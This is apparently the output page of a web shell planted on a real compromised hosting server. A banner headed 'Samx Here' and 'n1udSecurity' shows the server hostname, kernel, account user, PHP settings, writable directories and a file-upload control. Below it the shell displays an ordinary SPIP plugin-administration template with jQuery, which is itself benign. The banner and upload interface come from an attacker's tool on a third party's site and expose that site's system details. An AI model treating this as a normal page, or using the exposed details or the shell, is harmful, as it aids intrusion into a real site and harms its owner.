Samx Here
n1udSecurity


Server : Apache
System : Linux webd348.cluster026.gra.hosting.ovh.net 5.15.148-ovh-vps-grsec-zfs-classid #1 SMP Thu Feb 8 09:41:04 UTC 2024 x86_64
User : hednacluml ( 122243)
PHP Version : 8.3.9
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
Directory :  /home/hednacluml/jobs/plugins-dist/svp/formulaires/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/hednacluml/jobs/plugins-dist/svp/formulaires/inc-admin_plugin.html
#SET{vspip, #EVAL{$GLOBALS['spip_version_branche']}}
#SET{autoriser_plugins_ajouter,#AUTORISER{ajouter,_plugins}}
#SET{autoriser_webmestre,#AUTORISER{webmestre}}
[(#SET{image_verrou,[(#CHEMIN_IMAGE{cadenas-16.png}|balise_img{<:svp:plugin_info_verrouille:>,picto_verrou}|inserer_attribut{title,<:svp:plugin_info_verrouille:>})]})]
<B_plugins>
[(#GET{incompatibles})
	[(#ENV{afficher_incompatibles,''}|non)
	<a class="btn btn_secondaire ouvrir" id="afficher_incompatibles" href="[(#SELF|parametre_url{afficher_incompatibles,1})]"><:svp:afficher_les_plugins_incompatibles:></a>
	]
	[(#ENV{afficher_incompatibles,''}|oui)
	<a class="btn btn_secondaire fermer" id="afficher_incompatibles" href="[(#SELF|parametre_url{afficher_incompatibles,''})]"><:svp:cacher_les_plugins_incompatibles:></a>
	]
]
<div class="liste plugins" id="liste_plugins">
	<ul class="liste-items">
	<BOUCLE_plugins(PAQUETS plugins){tout}{par multi nom, paquets.prefixe}{!par constante, actif}{id_depot=0}{actif ?}{constante ?IN #ENV{constante}}>
		#SET{incompatible, #COMPATIBILITE_SPIP|plugin_version_compatible{#GET{vspip}, spip}|non}
		#SET{compat_spip, #COMPATIBILITE_SPIP|plugin_version_compatible{#GET{vspip}}}
		#SET{compat_forcee,#GET{compat_spip}|non|et{#CONST{_DEV_VERSION_SPIP_COMPAT}}
			|?{#COMPATIBILITE_SPIP|plugin_version_compatible{#CONST{_DEV_VERSION_SPIP_COMPAT}}, ''}}

		#SET{verrou,#CONSTANTE|=={_DIR_PLUGINS_DIST}|oui}
		#SET{actif,#ACTIF|=={oui}|oui}
		#SET{attente,#ATTENTE|=={oui}|oui}
		[(#GET{incompatible})#SET{incompatibles,' '}]
		#SET{afficher,#GET{incompatible}|non|ou{#ENV{afficher_incompatibles,''}}|ou{#GET{verrou}}|ou{#GET{actif}}|ou{#GET{attente}}}
		<BOUCLE_afficher(CONDITION) {si #GET{afficher}|et{#ID_PAQUET|svp_affichage_filtrer_paquets}}>
		#SET{obsolete,#OBSOLETE|=={oui}|oui}
		#SET{details,#ENV{id_paquet,''}|=={#ID_PAQUET}|oui}

		<li class="item clearfix[ (#GET{actif}|?{actif,inactif})][(#GET{obsolete}|ou{#GET{attente}}|ou{#GET{incompatible}}|oui) disabled][(#GET{attente}) attente][(#GET{incompatible}) incompatible][(#GET{compat_forcee}|oui) compat-forcee][(#GET{verrou}) verrou][(#_plugins:MAJ_VERSION|oui|et{#GET{autoriser_plugins_ajouter}|oui}|oui)up][(#GET{details}|oui)on]"[
			id="(#PREFIXE|strtolower)-#COMPTEUR_BOUCLE"][ data-id_paquet="(#ID_PAQUET)"]>

			[(#REM) Checkbox pour actions groupées ]
			#SET{has_check,0}
			<div class="col-check">
			[(#GET{incompatible}|non|ou{#GET{attente}}|et{#GET{verrou}|non})
				[(#GET{obsolete}|non)
					#SET{has_check,1}
					<div class="check">
						<input type="checkbox" class="checkbox select_plugin" name="ids_paquet\[\]" value="#ID_PAQUET" id="check_plugin#ID_PAQUET"
							[(#ID_PAQUET|in_any{#ENV{ids_paquet}}) checked="checked"] />
					</div>
				]
				[(#REM) si la configuration le permet, on peut activer un plugin obsolete ]
				[(#GET{obsolete}|et{#GET{incompatible}|non})
					[(#CONFIG{svp/autoriser_activer_paquets_obsoletes}|=={oui}|oui)
						#SET{has_check,1}
						<div class="check">
							<input type="checkbox" class="checkbox select_plugin" name="ids_paquet\[\]" value="#ID_PAQUET" id="check_plugin#ID_PAQUET"
								[(#ID_PAQUET|in_any{#ENV{ids_paquet}}) checked="checked"] />
						</div>
					]
				]
			]
			</div>

			<div class="col-icon">[(#LOGO|oui)<div class="icon">
				[(#CONST{#CONSTANTE}|concat{#SRC_ARCHIVE/#LOGO}|balise_img)]
			</div>]</div>

			[(#REM) Resume du plugin ]
			<div class="resume">
				[(#GET{has_check}|oui)<label for="check_plugin#ID_PAQUET">]
				<h3 class="nom">[(#NOM|extraire_multi|svp_importer_charset)]</h3>
				<small class="version">#_plugins:VERSION</small>
				[(#GET{has_check}|oui)</label>]
				[(#ENV{verrouille}|=={tous}|et{#GET{actif}}) 
					<small class="label label-etat label-etat--actif" title="<:svp:plugin_info_actif|attribut_html:>"><:svp:etat_actif:></small>
				][(#ENV{verrouille}|=={tous}|et{#GET{actif}|non}) 
					<small class="label label-etat label-etat--inactif"><:svp:etat_inactif:></small>
				][(#ENV{verrouille}|=={tous}|et{#GET{verrou}})
					<small class="label label-etat label-etat--verrouille" title="<:svp:info_verrouille|attribut_html:>"><:svp:etat_verrouille:></small>
				][(#GET{obsolete}|oui)
					<small class="label label-etat label-etat--obsolete" title="<:svp:info_plugin_obsolete|attribut_html:>"><:svp:etat_obsolete:></small>
				]
				[(#SET{slogan,#SLOGAN|extraire_multi|typo})]
				[(#GET{slogan}|non)[(#SET{slogan,#DESCRIPTION|extraire_multi|propre|PtoBR|explode{'<br />'}|reset})]]
				<div class="short">[(#GET{slogan}|couper{80}|svp_importer_charset)]</div>
			</div>

			[(#REM) Messages ]
			[(#SET{erreurs, #ARRAY{
				attente,      #GET{attente}|?{#GET{autoriser_plugins_ajouter}|?{<:svp:info_plugin_attente_dependance:>,<:svp:info_plugin_attente_dependance_interdit:>}},
				incompatible, #GET{incompatible}|?{<:svp:info_plugin_incompatible:>},
				compat_forcee, #GET{compat_forcee}|?{<:svp:info_plugin_compat_forcee:>},
			}|array_filter})]
			#SET{messages, #ARRAY{
				maj,      #GET{obsolete}|non|et{#_plugins:MAJ_VERSION}|et{#GET{autoriser_plugins_ajouter}},
				erreurs,  #GET{erreurs},
			}|array_filter}
			[(#GET{messages}|oui)
				<div class="messages">
					[(#GET{messages/maj}|oui)
						#SET{xyz,#_plugins:VERSION|svp_diff_xyz{#_plugins:MAJ_VERSION}}
						<span class="svp_message maj [maj_(#GET{xyz})]">
							[(#GET{xyz}|oui)
								[(#VAL{svp:plugin_info_up_#GET{xyz}}|_T{#ARRAY{version,#_plugins:MAJ_VERSION}})]
							][(#GET{xyz}|non)
								<:svp:plugin_info_up{version=#_plugins:MAJ_VERSION}:>
							]
						</span>
					]
					[(#GET{messages/erreurs}|oui)
						<span class="svp_message important">[(#GET{erreurs}|implode{' - '})]</span>
					]
				</div>
			]

			[(#REM) Liens + boutons d'actions ]
			<div class="footer">

			[(#REM) Liens ]
			#SET{liens,#ARRAY{
				doc, (#LIEN_DOC|oui),
				demo,#GET{actif}|et{#LIEN_DEMO|oui},
			}|array_filter}
			<div class="links groupe-btns">
				<a href="[(#SELF|parametre_url{id_paquet,#GET{details}|?{'',#ID_PAQUET}})]" class="btn btn_link [(#GET{details}|?{fermer,ouvrir})]" rel="info" role="button" aria-expanded="[(#GET{details}|?{true,false})]" aria-controls="details_#ID_PAQUET">[(#GET{details}|?{<:svp:lien_details_moins:>,<:svp:lien_details_plus:>})]</a>
				[(#GET{liens/doc}|oui)
					[<a href="(#LIEN_DOC)" class="btn btn_link spip_out" title="<:svp:bulle_aller_documentation|attribut_html:>" rel="external"><:svp:lien_documentation:></a>]
				][(#GET{liens/demo}|oui)
					[<a href="(#LIEN_DEMO|svp_calculer_url_demo)" class="btn btn_link spip_out" title="<:svp:bulle_aller_demonstration|attribut_html:>" rel="external"><:svp:lien_demo:></a>]
				]
			</div>

			[(#REM)
				Boutons d'actions :
				- On peut desactiver un plugin, qu'il soit obsolète ou pas
				- Si la configuration le permet, on peut activer un plugin obsolète
			]
			#SET{fond_configurer,#VAL{configurer_}|concat{#PREFIXE|strtolower}}
			#SET{dropdown,#ARRAY{
				maj,          #GET{obsolete}|non|et{#GET{verrou}|non}|et{#_plugins:MAJ_VERSION}|et{#GET{autoriser_plugins_ajouter}},
				activer,      #GET{obsolete}|?{
				              #GET{actif}|non|et{#GET{verrou}|non}|et{#GET{incompatible}|non}|et{#CONFIG{svp/autoriser_activer_paquets_obsoletes}|=={oui}},
				              #GET{actif}|non|ou{#GET{attente}}|et{#GET{verrou}|non}|et{#GET{incompatible}|non},
				},
				desactiver,   #GET{actif}|et{#GET{verrou}|non}|et{#GET{incompatible}|non},
				desinstaller, #GET{actif}|et{#GET{verrou}|non}|et{#GET{incompatible}|non}|et{#INSTALLE|=={oui}}|et{#GET{autoriser_webmestre}},
				supprimer,    #GET{actif}|non|et{#SRC_ARCHIVE|couper{5}|=={auto/}},
			}|array_filter}
			#SET{actions, #ARRAY{
				configurer,   #GET{actif}|et{#GET{attente}|non}|et{#GET{fond_configurer}|tester_url_ecrire}|et{#AUTORISER{configurer,_(#PREFIXE|strtolower)}|oui},
				dropdown,     #VAL{#GET{dropdown}|oui},
			}|array_filter}
			[(#GET{actions}|oui)
				<div class="actions">
					[(#GET{actions/configurer}|oui)
						<a href="#URL_ECRIRE{#GET{fond_configurer}}" class="btn btn_config btn_secondaire"><:svp:bouton_configurer:></a>
					][(#GET{actions/dropdown}|oui)
						[(#GET{dropdown}|count|=={1}|et{#GET{dropdown/activer}})
							<input type="submit" name="[(#ID_PAQUET|svp_nom_action{on})]" class="submit ok" value="<:svp:bouton_activer|attribut_html:>" />
						][(#GET{dropdown}|count|=={1}|et{#GET{dropdown/activer}}|non)
						<div class="dropdown">
							<a role="button" id="dropdown_#ID_PAQUET" href="#" class="dropdown-toggle btn" data-toggle="dropdown"><:svp:actions:></a>
							<div class="dropdown-menu dropdown-menu-right" aria-labelledby="dropdown_#ID_PAQUET">
								[(#GET{dropdown/maj}|oui)
									<input type="submit" name="[(#ID_PAQUET|svp_nom_action{up})]" class="dropdown-item submit actualiser btn_link" value="<:svp:bouton_up|attribut_html:> &rarr; #_plugins:MAJ_VERSION" />
									<div class="dropdown-divider"></div>
								][(#GET{dropdown/desactiver}|oui)
									<input type="submit" name="[(#ID_PAQUET|svp_nom_action{off})]" class="dropdown-item submit btn_link" value="<:svp:bouton_desactiver|attribut_html:>" />
								][(#GET{dropdown/desinstaller}|oui)
									<input type="submit" name="[(#ID_PAQUET|svp_nom_action{stop})]" class="dropdown-item submit btn_link" value="<:svp:bouton_desinstaller|attribut_html:>" />
								][(#GET{dropdown/activer}|oui)
									<input type="submit" name="[(#ID_PAQUET|svp_nom_action{on})]" class="dropdown-item submit btn_link" value="<:svp:bouton_activer|attribut_html:>" />
								][(#GET{dropdown/supprimer}|oui)
									<input type="submit" name="[(#ID_PAQUET|svp_nom_action{kill})]" class="dropdown-item submit btn_link" value="<:svp:bouton_supprimer|attribut_html:>" />
								]
							</div>
						</div>]
					]
				</div>
			]

			</div>[(#REM) /.footer ]

			[(#REM) Détails ]
			[(#GET{details})
				<INCLURE{fond=prive/squelettes/inclure/plugin_detail,id_paquet,env}>
			]

			</BOUCLE_afficher>
		</li>
	</BOUCLE_plugins>
	</ul>
</div>
</B_plugins>

<script>
	(function($){
		$('#liste_plugins').on('click','li.item a[rel=info]',function(){
			var li = $(this).parents('li').eq(0);
			var id_paquet = li.data('id_paquet');
			var $bouton = $(this);
			// premier clic, on charge le contenu du bloc details en ajax
			if (!$('div.details',li).html()) {
				$(this).ajaxReload({args: {'id_paquet':id_paquet}, callback:function(){
					li.addClass('on');
					$bouton.attr('aria-expanded', true);
				}});
			}
			// clics suivants, masquer ou afficher les details
			if ($('div.details',li).toggle().is(':visible')) {
				li.addClass('on');
				$bouton
					.attr('aria-expanded', true)
					.text("<:svp:lien_details_moins|texte_script:>")
					.removeClass('ouvrir').addClass('fermer');
			} else {
				li.removeClass('on');
				$bouton
					.attr('aria-expanded', false)
					.text("<:svp:lien_details_plus|texte_script:>")
					.removeClass('fermer').addClass('ouvrir');
			}
			return false;
		});
		$('#liste_plugins').on('click','li.item',function(e){
			const li = $(this);
			const checkbox = li.find('input.select_plugin');
			const $target = $(e.target);
			if (!$target.is('input') && !$target.is('a') && !$target.is('button')) { 
				checkbox.prop("checked", !checkbox.prop("checked"));
				return false;
			}
		});
		$('.plugins li.item input.checkbox').change(function(){
			$(this).parents('form').eq(0).find('.boutons').slideDown();
		});
	})(jQuery);
</script>

SAMX